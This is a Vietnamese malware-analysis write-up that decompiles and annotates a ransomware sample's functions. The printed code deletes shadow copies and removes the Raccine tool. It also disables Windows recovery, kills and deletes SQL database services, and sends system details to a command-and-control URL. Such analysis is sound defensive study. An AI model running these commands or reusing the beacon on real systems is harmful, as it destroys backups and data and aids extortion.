# Malware RE

<figure><img src="/files/F8kHtKxC1xKywzh6jvft" alt=""><figcaption></figcaption></figure>

Vẫn như theo dòng chảy thường lệ tôi sẽ đi qua một số hàm gọi trong hàm main trước khi đi vào hàm main để hiểu rõ xem con malware này làm gì nhé.

```cpp
BOOL __usercall sub_4042CE@<eax>(const WCHAR *a1@<edx>, const WCHAR *lpValueName, int a3, BYTE *lpData)
{
  LSTATUS v4; // eax
  LSTATUS v5; // esi
  HKEY phkResult; // [esp+Ch] [ebp-8h] BYREF

  if ( !a1 )
    return 0;
  if ( !lpValueName )
    return 0;
  if ( !lpData )
    return 0;
  phkResult = 0;
  // Mở registry key a1 (đường dẫn) trong HKEY_LOCAL_MACHINE với quyền truy cập KEY_SET_VALUE (2u).
  v4 = RegOpenKeyExW(HKEY_LOCAL_MACHINE, a1, 0, 2u, &phkResult);
  v5 = v4; // Gán kết quả mở key cho v5.
  if ( v4 == 5 ) // nếu mở bị lỗi sẽ return 0
    return 0;
  if ( !v4 ) //nếu mở thành công
  {
    // Đặt giá trị cho tên giá trị (lpValueName) trong key vừa mở.
    // Giá trị là lpData, kiểu dữ liệu là REG_DWORD (4u), kích thước dữ liệu là 4 byte.
    v5 = RegSetValueExW(phkResult, lpValueName, 0, 4u, lpData, 4u);
    RegCloseKey(phkResult); //đóng registry
  }
  return v5 == 0; // trả TRUE nếu v5 bằng 0 (thành công)
}
```

Hàm này có chức năng ghi một giá trị DWORD (4 byte) vào Windows Registry. Cụ thể như mở key, kiểm tra lỗi, ghi giá trị, đóng key, trả vè kết quả. -> đặt tên `SetRegistryDwordValue`

```cpp
bool __thiscall sub_40451B(LPCWSTR lpName)
{
  bool v1; // bl
  HANDLE CurrentThread; // eax
  HANDLE CurrentProcess; // eax
  HANDLE TokenHandle; // [esp+10h] [ebp-18h] BYREF
  _TOKEN_PRIVILEGES NewState; // [esp+14h] [ebp-14h] BYREF

  v1 = 0;
  CurrentThread = GetCurrentThread(); // lấy handle của thread hiện tại
  // thử mở thread hiện tại với quyền TOKEN_ADJUST_PRIVILEGES (0x20)
  if ( !OpenThreadToken(CurrentThread, 0x20u, 0, &TokenHandle) )
  {
    //nếu mở thành công lấy handle của process hiện tại
    CurrentProcess = GetCurrentProcess();
    
    // nêu không mở được token của process thì trả về 0
    if ( !OpenProcessToken(CurrentProcess, 0x20u, &TokenHandle) )
      return 0;
  }
  
  // Đặt thuộc tính của privilege là SE_PRIVILEGE_ENABLED (2).
  NewState.Privileges[0].Attributes = 2;
  
  // Đặt số lượng privilege là 1.
  NewState.PrivilegeCount = 1;
  
  // Lấy LUID (Locally Unique Identifier) tương ứng với tên privilege (lpName).
  if ( LookupPrivilegeValueW(0, lpName, &NewState.Privileges[0].Luid) )
  {
    // Cố gắng điều chỉnh (kích hoạt) privilege cho token.
    if ( AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0, 0, 0) )
      v1 = GetLastError() == 0; // nếu không có lỗi gán v1 =1 (true)
  }
  CloseHandle(TokenHandle); //đóng hanele của token
  return v1;
}
```

Hàm này có chức năng kích hoạt một đặc quyền cụ thể cho process hiện tại (hoặc thread hiện tại , nếu có thể truy cập token của thread). lấy access token, tìm luid, điều chỉnh privilege, kiểm tra và trả về kết quả. -> `SetPrivilegeEnabled`

```cpp
DWORD __stdcall sub_40693F(LPVOID lpThreadParameter)
{
  WCHAR String1[260]; // [esp+8h] [ebp-448h] BYREF
  WCHAR Buffer[286]; // [esp+210h] [ebp-240h] BYREF

  // xóa registry key
  SHDeleteKeyW(HKEY_CURRENT_USER, L"SOFTWARE\\Raccine");
  SHDeleteKeyW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Raccine");
  SHDeleteKeyW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\Raccine");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\vssadmin.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wmic.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\wbadmin.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\bcdedit.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\powershell.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\diskshadow.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\net.exe");
  SHDeleteKeyW(
    HKEY_LOCAL_MACHINE,
    L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\taskkill.exe");
  
  // lấy đường dẫn đến thư mục windows (ví dụ c:\windows)
  GetWindowsDirectoryW(Buffer, 0x104u);
  
  // nối chuỗi để tạo đường dẫn đến vssadmin.exe
  // sysnative là một đường dẫn ảo, trỏ tới thư mực System32 trên hệ điều hành 64bit
  //, khi một chương trình 32 bit truy cập đường dẫn này.
  lstrcatW(Buffer, L"\\sysnative\\vssadmin.exe");
  lstrcpyW(String1, L" delete shadows /all /quiet"); //lệnh xóa tất cả shadow copies
  
  // Thực thi vssadmin.exe với các tham số để xóa tất cả shadow copies.
  ShellExecuteW(0, L"open", Buffer, String1, 0, 0);
  return 0;
}
```

Hàm có chức năng: gỡ cài đặt raccine, vô hiệu hóa công cụ quản lý bằng cách xóa registry, và xóa shadow copies bằng cách thực thi câu lệnh với tool vssadmin.exe. Một tìm hiểu là các chương trình thường bị ransomware lội dụng để xóa shadow copies, do đó raccine hook vào các chương trình này để bảo vệ hệ thống khỏi ransomware (các chương trình được liệt kê trong đường dẫn registry) -> đặt tên là  `UninstallRaccineAndDeleteShadowCopies`.

```cpp
HANDLE sub_40623E()
{
  HANDLE result; // eax
  void *v1; // esi
  LPCWSTR *v2; // ebx
  int v3; // esi
  HANDLE v4; // eax
  void *v5; // edi
  HANDLE hSnapshot; // [esp+4h] [ebp-234h]
  PROCESSENTRY32W pe; // [esp+8h] [ebp-230h] BYREF
  
  //tạo mọt snapshot của tất cả các tiến trình đang chạy
  result = CreateToolhelp32Snapshot(2u, 0);
  v1 = result; //gán handle
  hSnapshot = result; 
  
  // nếu tạo thành công 
  if ( result != (HANDLE)-1 )
  {
    pe.dwSize = 556;
    
    // lấy thông tin về process đầu tiên trong snapshot
    if ( Process32NextW(result, &pe) )
    {
      do
      {
        // lấy con trỏ đến mảng tên các process
        v2 = (LPCWSTR *)off_41E398; // ở dưới
        v3 = 11;
        do
        {
          // so sánh tên của tiến trình trong snapshot với tên có trong mảng v2
          if ( !lstrcmpW(pe.szExeFile, *v2) )
          {
            // nếu trùng, mở tiến trình với quyền ROCESS_TERMINATE (1u).
            v4 = OpenProcess(1u, 0, pe.th32ProcessID);
            v5 = v4;
            if ( v4 != (HANDLE)-1 )
            {
              TerminateProcess(v4, 0); // nếu mở thành công thì kết thúc tiến trình
              CloseHandle(v5); // đóng handle
            }
          }
          ++v2;
          --v3;
        }
        while ( v3 );
        v1 = hSnapshot;
      }
      while ( Process32NextW(hSnapshot, &pe) ); // chueyern sang tiến trình tiếp theo trong snapshot
    }
    return (HANDLE)CloseHandle(v1);
  }
  return result;
}
```

<figure><img src="/files/TBFv0MQKzHMqhWo7wasm" alt=""><figcaption></figcaption></figure>

Hàm này duyệt qua danh sách các tiến trình đang chạy và cố gắng chấm dứt các tiến trình có tên nằm trong danh sách được hiển thị trong ảnh trên. (có thể là danh sách đen). Bằng việc tạo snapshot, duyệt snapshot, so sánh tên tiến trình, chấm dứt tiến trình nếu khớp và sau  đó đóng handle trả về kết quả. -> tôi có thể đặt tên hàm này là: `TerminateBlacklistedProcesses`

```cpp
bool __thiscall sub_4045BF(LPCWSTR lpParameters)
{
  return (int)ShellExecuteW(0, 0, L"cmd.exe", lpParameters, 0, 0) > 32;
}
```

Hàm này thực thi một lệnh thông qua Command Prompt (`cmd.exe`) của Windows, lưu ý là nó ẩn cửa sổ. -> đặt tên `ExecuteCommandHidden`

```cpp
DWORD __stdcall sub_406A1E(LPVOID lpThreadParameter)
{
  // không hiển thị cửa sổ cmd
  ExecuteCommandHidden(L"/c bcdedit /set {current} bootstatuspolicy ignoreallfailures");
  
  // không khôi phục
  ExecuteCommandHidden(L"/c bcdedit /set {current} recoveryenabled no");
  TerminateBlacklistedProcesses();
  return 0;
}
```

Hàm này vô hiệu hóa các tính năng khôi phục của Windows như làm cho windows sẽ bỏ qua các lỗi trong quá trình khởi động và tiếp tục khởi động, ngay cả khi có vấn đề nghiêm trọng, và tắt tự động khôi phục của Windows. tiếp theo là gọi hàm mà ta đã đề cập ở trên để chấm dứt các process nằm trong danh sách đen. -> đặt tên là `PrepareSystemForCompromise`

Chúng ta cùng phân tích câu lệnh này:

{% code overflow="wrap" %}

```powershell
cmd.exe /C sc delete \"MSSQLFDLauncher\"&&sc delete \"MSSQLSERVER\"&&sc delete \"SQLSERVERAGENT\"&&sc delete \"SQLBrowser\"&&sc delete \"SQLTELEMETRY\"&&sc delete \"MsDtsServer130\"&&sc delete \"SSISTELEMETRY130\"&&sc delete \"SQLWriter\"&&sc delete \"MSSQL$VEEAMSQL2012\"&&sc delete \"SQLAgent$VEEAMSQL2012\"&&sc delete \"MSSQL\"&&sc delete \"SQLAgent\"&&sc delete \"MSSQLServerADHelper100\"&&sc delete \"MSSQLServerOLAPService\"&&sc delete \"MsDtsServer100\"&&sc delete \"ReportServer\"&&sc delete \"SQLTELEMETRY$HL\"&&sc delete \"TMBMServer\"&&sc delete \"MSSQL$PROGID\"&&sc delete \"MSSQL$WOLTERSKLUWER\"&&sc delete \"SQLAgent$PROGID\"&&sc delete \"SQLAgent$WOLTERSKLUWER\"&&sc delete \"MSSQLFDLauncher$OPTIMA\"&&sc delete \"MSSQL$OPTIMA\"&&sc delete \"SQLAgent$OPTIMA\"&&sc delete \"ReportServer$OPTIMA\"&&sc delete \"msftesql$SQLEXPRESS\"&&sc delete \"postgresql-x64-9.4\"&&rem Kill \"SQL\"&&taskkill -f -im sqlbrowser.exe&&taskkill -f -im sqlwriter.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im msmdsrv.exe&&taskkill -f -im MsDtsSrvr.exe&&taskkill -f -im sqlceip.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im Ssms.exe&&taskkill -f -im SQLAGENT.EXE&&taskkill -f -im fdhost.exe&&taskkill -f -im fdlauncher.exe&&taskkill -f -im sqlservr.exe&&taskkill -f -im ReportingServicesService.exe&&taskkill -f -im msftesql.exe&&taskkill -f -im pg_ctl.exe&&taskkill -f -im postgres.exe
```

{% endcode %}

Câu lệnh này mục đích chính là gỡ cài đặt và dừng các dịch vụ và tiến trình liên quan đến Microsoft SQL Server và các ứng dụng liên quan:

* `sc delete ..` : sử dụng đẻ xóa một dịch vụ Windows (bao gồm các dịch vụ: MSSQLSERVER, SQLSERVERAGENT, SQLBrowser, MSSQL, SQLAgent, cacsd dịch vụ liên quan đến SQL server analysis services, sql writer, sql server telemetry.
* `rm Kill "SQL"` là một comment (sẽ không được cmd.exe thực thi  chỉ để ghi chú cho người viết chương trình).
* `taskkill -f -im ...` sử udngj để chấm dứt các tiến trình SQL Server

```cpp
HANDLE sub_405DC8()
{
  unsigned int v0; // esi
  unsigned int v1; // edi
  DWORD LogicalDrives; // eax
  DWORD v3; // ecx
  int v4; // edx
  int v5; // ecx
  void *v6; // esi
  const char *v7; // esi
  void *v8; // esi
  HANDLE result; // eax
  DWORD v10; // eax
  void *v11; // eax
  void *v12; // esi
  const char *v13; // [esp-10h] [ebp-C98h]
  
  // Cấu trúc để lấy thông tin hệ thống.
  struct _SYSTEM_INFO SystemInfo; // [esp+Ch] [ebp-C7Ch] BYREF
  ULARGE_INTEGER TotalNumberOfBytes; // [esp+30h] [ebp-C58h] BYREF
  DWORD nSize; // [esp+38h] [ebp-C50h] BYREF
  DWORD NumberOfBytesWritten; // [esp+3Ch] [ebp-C4Ch] BYREF
  CHAR LCData[4]; // [esp+40h] [ebp-C48h] BYREF
  CHAR pszDest[4]; // [esp+44h] [ebp-C44h] BYREF
  CHAR v20[1024]; // [esp+48h] [ebp-C40h] BYREF
  CHAR v21[1024]; // [esp+448h] [ebp-840h] BYREF
  WCHAR v22[260]; // [esp+848h] [ebp-440h] BYREF
  CHAR pszUnescaped[128]; // [esp+A50h] [ebp-238h] BYREF
  CHAR pszUrl[384]; // [esp+AD0h] [ebp-1B8h] BYREF
  char v25[20]; // [esp+C50h] [ebp-38h] BYREF
  _DWORD v26[2]; // [esp+C64h] [ebp-24h] BYREF
  __int16 v27; // [esp+C6Ch] [ebp-1Ch]
  CHAR Buffer[4]; // [esp+C70h] [ebp-18h] BYREF
  CHAR v29[4]; // [esp+C74h] [ebp-14h] BYREF
  ULARGE_INTEGER TotalNumberOfFreeBytes; // [esp+C78h] [ebp-10h] BYREF

  v0 = 0;
  if ( !dword_425914 )
  {
    v1 = 0;
    // Lấy danh sách các ổ đĩa logic (bitmask).
    LogicalDrives = GetLogicalDrives();
    v3 = 65;
    v4 = 26;
    NumberOfBytesWritten = LogicalDrives;
    nSize = 65;
    *(_DWORD *)LCData = 26;
    
    // Lặp qua tất cả các ổ đĩa.
    do
    {
      // Nếu ổ đĩa tồn tại (bit tương ứng trong LogicalDrives là 1).
      if ( (LogicalDrives & 1) != 0 )
      {
        *(_DWORD *)pszDest = 0;
        
        // Tạo đường dẫn ổ đĩa (ví dụ: "C:\").
        wnsprintfA(pszDest, 4, "%c:\\", v3);
        TotalNumberOfFreeBytes.QuadPart = 0LL;
        TotalNumberOfBytes.QuadPart = 0LL;
        
        // Lấy thông tin dung lượng ổ đĩa
        GetDiskFreeSpaceExA(pszDest, 0, &TotalNumberOfBytes, &TotalNumberOfFreeBytes);
        v3 = nSize;
        v4 = *(_DWORD *)LCData;
        v1 = (TotalNumberOfBytes.QuadPart - TotalNumberOfFreeBytes.QuadPart + __PAIR64__(v1, v0)) >> 32;
        v0 += TotalNumberOfBytes.LowPart - TotalNumberOfFreeBytes.LowPart;
        LogicalDrives = NumberOfBytesWritten;
      }
      ++v3;
      LogicalDrives >>= 1;
      --v4;
      nSize = v3;
      NumberOfBytesWritten = LogicalDrives;
      *(_DWORD *)LCData = v4;
    }
    while ( v4 );
    dword_425914 = __PAIR64__(v1, v0) >> 30;
  }
  
  // Thu thập thông tin hệ thống và lưu vào biến toàn cục.
  if ( !pcchEscaped )
  {
    pcchEscaped = 512;
    nSize = 16;
    
    // Lấy tên máy tính.
    GetComputerNameA(Buffer, &nSize);
    NumberOfBytesWritten = 0;
    *(_DWORD *)pszDest = 1;
    
    // Lấy tên sản phẩm Windows.
    GetWindowsProductName(v5, pszDest, &NumberOfBytesWritten);
    *(_DWORD *)LCData = 0;
    
    // Lấy thông tin ngôn ngữ.
    GetLocaleInfoA(0x400u, 0x5Au, LCData, 4);
    *(_DWORD *)pszDest = 0;
    memset(v25, 0, sizeof(v25));
    
    // Lấy địa chỉ IP public.
    v6 = (void *)SendHttpRequest(
                   (int)L"Content-Type: application/x-www-form-urlencoded\r\nHost: api.ipify.org\r\n",
                   0,
                   0,
                   (int)pszDest);
                   
   // nếu lấy được ip, copy vào v25, ngược lại, gán "unknown" vào v25
    if ( v6 && *(_DWORD *)pszDest < 0x11u )
      memmove_0(v25, v6, *(size_t *)pszDest);
    else
      strcpy(v25, "unknown");
    if ( v6 )
      free(v6);
    memset(&SystemInfo, 0, sizeof(SystemInfo));
    GetNativeSystemInfo(&SystemInfo);
    v7 = "x64";
    if ( SystemInfo.wProcessorArchitecture != 9 )
      v7 = "x32";
    memset(pszUrl, 0, sizeof(pszUrl));
    v13 = v7;
    v8 = (void *)NumberOfBytesWritten;
    
    // Format system info string
    wnsprintfA(pszUrl, 384, "%s %s, %s, %s, %s", (const char *)NumberOfBytesWritten, v13, LCData, v25, Buffer);
    
    // Escape URL.
    UrlEscapeA(pszUrl, ::pszUrl, &pcchEscaped, 0x2000000u);
    if ( v8 )
      free(v8);
  }
  
  // Tạo và gửi HTTP request đến server.
  result = (HANDLE)ParseURL(L"https://whyers.io/QWEwqdsvsf/ap.php");
  if ( (_BYTE)result )
  {
    // Tạo header cho HTTP request (Content-Type và Host).
    wnsprintfW(v22, 260, L"Content-Type: application/x-www-form-urlencoded\r\nHost: %s\r\n", *(_DWORD *)Buffer);
    v26[0] = 0;
    v26[1] = 0;
    v27 = 0;
    if ( qword_425918 / 0x40000000 )
      wnsprintfA((PSTR)v26, 10, "%d", (unsigned int)(qword_425918 / 0x40000000));
    else
      wnsprintfA((PSTR)v26, 10, "0.%d", (unsigned int)(qword_425918 / 0x100000));
    
    // Tạo dữ liệu POST (chuỗi truy vấn).
    v10 = wnsprintfA(
            v20,
            1024,
            "user=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%d",
            aPanda,
            byte_424AD8,
            ::pszUrl,
            (const char *)v26,
            dword_425914);
    
     // Gửi HTTP POST request.
    v11 = (void *)SendHttpRequest((int)v22, (int)v20, v10, 0);
    if ( v11 )
      free(v11);
    free(*(void **)Buffer);
    free(*(void **)v29);
    
    // Ghi thông tin hệ thống vào file "TargetInfo.txt".
    result = CreateFileW(L"TargetInfo.txt", 0x40000000u, 1u, 0, 2u, 0x80u, 0);
    v12 = result;
    if ( result != (HANDLE)-1 )
    {
      *(_DWORD *)v29 = 0;
      TotalNumberOfFreeBytes.LowPart = 0;
      WORD2(TotalNumberOfFreeBytes.QuadPart) = 0;
      
      // Format kích thước file
      if ( qword_425918 / 0x40000000 )
        wnsprintfA(v29, 10, "%d", (unsigned int)(qword_425918 / 0x40000000));
      else
        wnsprintfA(v29, 10, "0.%d", (unsigned int)(qword_425918 / 0x100000));
      *(_DWORD *)LCData = 512;
      UrlUnescapeA(::pszUrl, pszUnescaped, (DWORD *)LCData, 0);
      
      //Format thông tin
      wnsprintfA(v21, 1024, "%s|%s|%s|%d", byte_424AD8, pszUnescaped, v29, dword_425914);
      
      // Ghi vào file
      WriteFile(v12, v21, strlen(v21), &NumberOfBytesWritten, 0);
      return (HANDLE)CloseHandle(v12);
    }
  }
  return result;
}
```

đặt `SendHttpRequestAndGetResponse`

```cpp
v14 = GetModuleHandleA("user32.dll");
    ShutdownBlockReasonCreate = (BOOL (__stdcall *)(HWND, LPCWSTR))GetProcAddress(v14, "ShutdownBlockReasonCreate");
```

Đây là một kỹ thuật mà malware này sử dụng để chống phân tích tĩnh, từ đó trở nên khó khăn hơn vì các tên hàm API không xuất hiện trực tiếp trong code.

Trên là lấy địa chỉ API động: sử dụng GetModuleHandleA và GetProcAddress để lấy địa chỉ của các hàm API trong thời gian chạy (runtime), thay vì gọi trực tiếp các hàm đó.

```
api.ipify.org
```

Malware này sử dụng cái này để lấy địa chỉ IP public của máy tính

Code hàm main:

```cpp
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
  LANGID UserDefaultLangID; // ax
  HMODULE LibraryA; // eax
  DWORD (__stdcall *PowerSetActiveScheme)(HKEY, const GUID *); // eax
  unsigned int v7; // eax
  HANDLE Thread; // eax
  HANDLE v9; // eax
  HANDLE v10; // eax
  HMODULE ModuleHandleA; // eax
  WCHAR *v12; // eax
  const WCHAR *v13; // ecx
  HMODULE v14; // eax
  int v15; // ecx
  BOOL (__stdcall *ShutdownBlockReasonCreate)(HWND, LPCWSTR); // esi
  ATOM v17; // ax
  HWND Window; // eax
  int v19; // ecx
  int v20; // ecx
  int v21; // ecx
  int v22; // ecx
  int v23; // ecx
  int v24; // ecx
  int v25; // ecx
  int v26; // ecx
  int v27; // ecx
  int v28; // ecx
  WNDCLASSW WndClass; // [esp+Ch] [ebp-23Ch] BYREF
  int v31; // [esp+34h] [ebp-214h] BYREF
  WCHAR Filename[262]; // [esp+38h] [ebp-210h] BYREF

  UserDefaultLangID = GetUserDefaultLangID();
  if ( UserDefaultLangID != 0x419
    && UserDefaultLangID != 0x43F
    && UserDefaultLangID != 0x423
    && UserDefaultLangID != 0x422
    && UserDefaultLangID != 0x444 )
  {
    LibraryA = LoadLibraryA("PowrProf.dll");
    if ( LibraryA )
    {
      PowerSetActiveScheme = (DWORD (__stdcall *)(HKEY, const GUID *))GetProcAddress(LibraryA, "PowerSetActiveScheme");
      if ( PowerSetActiveScheme )
        PowerSetActiveScheme(0, &stru_419340);
    }
    v7 = _time64(0);
    srand(v7);
    SetPrivilegeEnabled(L"SeTakeOwnershipPrivilege");
    SetPrivilegeEnabled(L"SeDebugPrivilege");
    Thread = CreateThread(0, 0, UninstallRaccineAndDeleteShadowCopies, 0, 0, 0);
    CloseHandle(Thread);
    v9 = CreateThread(0, 0, PrepareSystemForCompromise, 0, 0, 0);
    CloseHandle(v9);
    v10 = CreateThread(0, 0, DestroySQLServerData, 0, 0, 0);
    CloseHandle(v10);
    ModuleHandleA = GetModuleHandleA("ntdll.dll");
    NtQueryObject = (NTSTATUS (__stdcall *)(HANDLE, OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))GetProcAddress(ModuleHandleA, "NtQueryObject");
    GetModuleFileNameW(0, Filename, 0x104u);
    v12 = &Filename[lstrlenW(Filename)];
    do
      v13 = v12--;
    while ( *v12 != 92 );
    lstrcpyW(&String1, v13);
    InitializeCriticalSection(&stru_424AA8);
    InitializeCriticalSection(&CriticalSection);
    InitializeCriticalSection(&stru_424AC0);
    v14 = GetModuleHandleA("user32.dll");
    ShutdownBlockReasonCreate = (BOOL (__stdcall *)(HWND, LPCWSTR))GetProcAddress(v14, "ShutdownBlockReasonCreate");
    if ( ShutdownBlockReasonCreate )
    {
      WndClass.lpfnWndProc = WndProc;
      *(_QWORD *)&WndClass.cbClsExtra = 0LL;
      WndClass.style = 0;
      memset(&WndClass.hIcon, 0, 16);
      WndClass.hInstance = GetModuleHandleW(0);
      WndClass.lpszClassName = L"window";
      v17 = RegisterClassW(&WndClass);
      Window = CreateWindowExW(0, (LPCWSTR)v17, 0, 0, 0, 0, 0x80000000, 0x80000000, 0, 0, 0, 0);
      ShutdownBlockReasonCreate(
        Window,
        L"Do NOT shutdown OR reboot your PC: this might damage your files permanently !");
    }
    v31 = 1;
    SetRegistryDwordValue(
      L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideShutDown",
      L"value",
      v15,
      (BYTE *)&v31);
    SetRegistryDwordValue(
      L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideRestart",
      L"value",
      v19,
      (BYTE *)&v31);
    SetRegistryDwordValue(
      L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideSignOut",
      L"value",
      v20,
      (BYTE *)&v31);
    v31 = 0;
    SetRegistryDwordValue(
      L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
      L"shutdownwithoutlogon",
      v21,
      (BYTE *)&v31);
    SetRegistryDwordValue(
      L"SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services",
      L"MaxConnectionTime",
      v22,
      (BYTE *)&v31);
    SetRegistryDwordValue(
      L"SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services",
      L"MaxDisconnectionTime",
      v23,
      (BYTE *)&v31);
    SetRegistryDwordValue(
      L"SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services",
      L"MaxIdleTime",
      v24,
      (BYTE *)&v31);
    sub_4063FD();
    SetRegistryDwordValue(
      L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideShutDown",
      L"value",
      v25,
      (BYTE *)&v31);
    SetRegistryDwordValue(
      L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideRestart",
      L"value",
      v26,
      (BYTE *)&v31);
    SetRegistryDwordValue(
      L"SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideSignOut",
      L"value",
      v27,
      (BYTE *)&v31);
    v31 = 1;
    SetRegistryDwordValue(
      L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",
      L"shutdownwithoutlogon",
      v28,
      (BYTE *)&v31);
    DeleteCriticalSection(&stru_424AA8);
    DeleteCriticalSection(&CriticalSection);
    DeleteCriticalSection(&stru_424AC0);
  }
  return 0;
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viettaliii.gitbook.io/home/ctf/write-up/malware-re.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.